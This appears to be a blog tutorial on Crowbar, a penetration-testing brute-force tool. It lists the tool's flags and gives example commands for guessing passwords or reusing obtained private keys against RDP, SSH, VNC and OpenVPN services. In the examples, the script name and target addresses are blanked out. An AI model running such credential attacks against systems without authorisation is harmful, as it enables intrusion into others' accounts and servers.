Crowbar (Levye) – Brute forcing tool

Written by Mubassir patel

Crowbar (Levye) – Brute forcing tool

What is Crowbar?

Crowbar (formally known as Levye) is a brute forcing tool that can be used during penetration tests. It was developed to brute force some protocols in a different manner according to other popular brute force tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key(s). This allows for any private keys that have been obtained during penetration tests, to be used to attack other SSH servers.

Currently, Crowbar supports:

  • OpenVPN (-b openvpn)
  • Remote Desktop Protocol (RDP) with NLA support (-b rdp)
  • SSH private key authentication (-b sshkey)
  • VNC key authentication (-b vpn)


Install all the dependencies:

# apt-get -y install openvpn freerdp-x11 vncviewer

Then get the latest version from GitHub:

# git clone

Note: The RDP client package depends on your OS:

Don’t forget to edit the script to point to the new binary!


-h: Shows a help menu

-b: Target service. Crowbar supports: openvpnrdpsshkeyvnckey.

-s: Target IP address/range (in CIDR notation)

-S</path/to/file> which is stores target IP addresses

-u: Single username

-U</path/to/file> which stores the username list

-n: Thread count

-l</path/to/file> to store the log file (default is ./crowbar.log)

-o</path/to/file> to store the successfully attempt(s) (default is ./crowbar.out)

-c: Static password

-C</path/to/file> for passwords list

-t: Timeout value

-p: Port number (if the service is not on the default port)

-k</path/to/file-or-folder> for key files (for SSH or VNC)

-m</path/to/file> for a OpenVPN configuration file

-d: Run nmap on the IP range (in -s/-S) in order to discover whether the targets has an open port or not. This allows for multiple targets to be easily brute forced using Crowbar

-v: Enable verbose mode (shows all the attempts)

-q: Enable quiet mode (only show successful logins)

If you want see all usage options, please use: ./ --help.

ATTENTION: If you want to use username including DOMAIN, please specify username like below. Backslash (\) is the escape character for python. So you have to use either of the following two formats:

# ./ -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s
2015-03-28 11:03:39 RDP-SUCCESS : - "DOMAIN\gokhan alkan":Aa123456,
# ./ -b rdp -u gokhan [email protected] -c Aa123456 -s
2015-03-28 11:04:00 RDP-SUCCESS : - "gokhan [email protected]":Aa123456,

Brute Forcing Remote Desktop Protocol (RDP)

Below are a few examples of attacking RDP using Crowbar.

# ./ -b rdp -s -u admin -c Aa123456


# ./ -b rdp -s -U /root/Desktop/userlist -c passw0rd


RDP brute forcing a single IP address using a single username and a password list:

# ./ -b rdp -s -u localuser -C /root/Desktop/passlist


# ./ -b rdp -s -U /root/Desktop/userlist -C /root/Desktop/passlist -d


Brute Forcing SSH Private Keys

Below are a few examples which you have using Crowbar.

SSH key brute force attempt to a single IP address using a single username and a single private SSH key:

# ./ -b sshkey -s -u root -k /root/.ssh/id_rsa


# ./ -b sshkey -s -u root -k /root/.ssh/


# ./ -b sshkey -s -u root -k /root/.ssh/ -d


Brute Forcing VNC

Below is an example of attacking a VNC service using Crowbar.

VNC brute force attempt to a single IP address using a password file with a specified port number:

# ./ -b vnckey -s -p 5902 -k /root/.vnc/passwd


Brute Forcing OpenVPN

Below is an example of attacking OpenVPN using Crowbar.

OpenVPN brute force attempt to a single IP address using a configuration file, a certificate file, a single username and a single password with a specified port number:

# ./ -b openvpn -s -p 443 -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF


About the author

Mubassir patel

Mubassir is a founder and developer of this site. He is a computer science engineer. He has a very deep interest in ethical hacking, penetration testing, website development and including all technology topic.

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